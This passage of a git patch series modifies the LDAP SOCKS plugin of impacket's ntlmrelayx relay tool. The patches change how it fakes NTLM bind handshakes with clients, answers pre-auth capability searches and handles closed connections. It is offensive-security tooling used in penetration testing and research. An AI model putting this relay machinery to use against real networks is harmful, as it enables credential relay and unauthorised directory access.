recv_from_is_server: - self.server_is_gone = True - - self.stop_event.set() - return + return rready From dedaa9b9caad0e719d2031dad5bced76b5760ec7 Mon Sep 17 00:00:00 2001 From: b1two <43686727+b1two@users.noreply.github.com> Date: Tue, 17 Dec 2024 20:36:38 +0100 Subject: [PATCH 6/7] Better handling of initial LDAP bind request in ntlmrelayx LDAP socks --- .../ntlmrelayx/servers/socksplugins/ldap.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py index 8cdc1f277..56d3c5855 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py @@ -39,7 +39,7 @@ def skipAuthentication(self): if msg_component.isSameTypeWith(BindRequest): # BindRequest received - if msg_component['name'] == LDAPDN('') and msg_component['authentication'] == univ.OctetString(''): + if msg_component['authentication'] == univ.OctetString(''): # First bind message without authentication # Replying with a request for NTLM authentication @@ -54,7 +54,7 @@ def skipAuthentication(self): # Let's receive next messages continue - elif msg_component['name'] == LDAPDN('NTLM'): + elif 'sicilyNegotiate' in msg_component['authentication']: # Requested NTLM authentication LOG.debug('Got NTLM bind request') @@ -78,7 +78,7 @@ def skipAuthentication(self): # Sending the response self.send_ldap_msg(bindresponse, message['messageID']) - else: + elif 'sicilyResponse' in msg_component['authentication']: # Received an NTLM auth bind request # Parsing authentication method @@ -120,11 +120,17 @@ def skipAuthentication(self): self.send_ldap_msg(bindresponse, message['messageID']) return True + else: + LOG.error('LDAP: Received an unknown LDAP binding request, cannot continue') + return False + else: msg_component = message['protocolOp'].getComponent() if msg_component.isSameTypeWith(SearchRequest): - # Search request + # Pre-auth search request + if msg_component['attributes'][0] == LDAPString('supportedCapabilities'): + # supportedCapabilities response = SearchResultEntry() response['objectName'] = LDAPDN('') response['attributes'] = PartialAttributeList() @@ -144,7 +150,9 @@ def skipAuthentication(self): attribs.getComponentByName('vals').setComponentByPosition(5, AttributeValue('1.2.840.113556.1.4.2237')) response['attributes'].append(attribs) + elif msg_component['attributes'][0] == LDAPString('supportedSASLMechanisms'): + # supportedSASLMechanisms response = SearchResultEntry() response['objectName'] = LDAPDN('') response['attributes'] = PartialAttributeList() From 27716602d6a611a31e238c74b227039ecd42f7e5 Mon Sep 17 00:00:00 2001 From: b1two <43686727+b1two@users.noreply.github.com> Date: Tue, 17 Dec 2024 22:31:54 +0100 Subject: [PATCH 7/7] Better handling of clients' closing connections in ntlmrelayx LDAP socks --- .../ntlmrelayx/servers/socksplugins/ldap.py | 35 +++++++++---------- 1 file changed, 17 insertions(+), 18 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py index 56d3c5855..889fc951d 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py @@ -32,7 +32,10 @@ def skipAuthentication(self): # Faking an NTLM authentication with the client while True: messages = self.recv_ldap_msg() - LOG.debug(f'Received {len(messages)} message(s)') + if messages is None: + LOG.warning('LDAP: Client did not send ldap messages or closed connection') + return False + LOG.debug(f'LDAP: Received {len(messages)} message(s)') for message in messages: msg_component = message['protocolOp'].getComponent() @@ -43,7 +46,7 @@ def skipAuthentication(self): # First bind message without authentication # Replying with a request for NTLM authentication - LOG.debug('Got empty bind request') + LOG.debug('LDAP: Got empty bind request') bindresponse = BindResponse() bindresponse['resultCode'] = ResultCode('success') @@ -57,7 +60,7 @@ def skipAuthentication(self): elif 'sicilyNegotiate' in msg_component['authentication']: # Requested NTLM authentication - LOG.debug('Got NTLM bind request') + LOG.debug('LDAP: Got NTLM bind request') # Load negotiate message negotiateMessage = ntlm.NTLMAuthNegotiate() @@ -184,6 +187,9 @@ def recv_ldap_msg(self): done = False while not done: recvData = self.socksSocket.recv(self.MSG_SIZE) + if recvData == b'': + # Connection got closed + return None if len(recvData) < self.MSG_SIZE: done = True data += recvData @@ -194,19 +200,12 @@ def recv_ldap_msg(self): message, remaining = decoder.decode(data, asn1Spec=LDAPMessage()) except SubstrateUnderrunError: # We need more data - remaining = data + self.socksSocket.recv(self.MSG_SIZE) + new_data = self.socksSocket.recv(self.MSG_SIZE) + if new_data == b'': + # Connection got closed + return None + remaining = data + new_data else: - if message['messageID'] == 0: # unsolicited notification - name = message['protocolOp']['extendedResp']['responseName'] or message['responseName'] - notification = KNOWN_NOTIFICATIONS.get(name, "Unsolicited Notification '%s'" % name) - if name == NOTIFICATION_DISCONNECT: # Server has disconnected - self.close() - raise LDAPSessionError( - error=int(message['protocolOp']['extendedResp']['resultCode']), - errorString='%s -> %s: %s' % (notification, - message['protocolOp']['extendedResp']['resultCode'].prettyPrint(), - message['protocolOp']['extendedResp']['diagnosticMessage']) - ) response.append(message) data = remaining @@ -278,7 +277,7 @@ def tunnelConnection(self): # Free the relay so that it can be reused self.activeRelays[self.username]['inUse'] = False - LOG.debug('Finished tunnelling') + LOG.debug('LDAP: Finished tunnelling') return True @@ -289,7 +288,7 @@ def is_forwardable_request(self, data): # Search for unbind requests if msg_component.isSameTypeWith(UnbindRequest): - LOG.warning('Client tried to unbind LDAP connection, skipping message') + LOG.warning('LDAP: Client tried to unbind LDAP connection, skipping message') return False except Exception: # Is probably not an unbind LDAP message @@ -305,7 +304,7 @@ def is_allowed_request(self, data): # Search for START_TLS LDAP extendedReq OID if msg_component.isSameTypeWith(ExtendedRequest) and msg_component['requestName'].asOctets() == b'1.3.6.1.4.1.1466.20037': # 1.3.6.1.4.1.1466.20037 is LDAP_START_TLS_OID - LOG.warning('Client tried to initiate Start TLS, closing connection') + LOG.warning('LDAP: Client tried to initiate Start TLS, closing connection') return False except Exception: # Is probably not a ExtendedReq message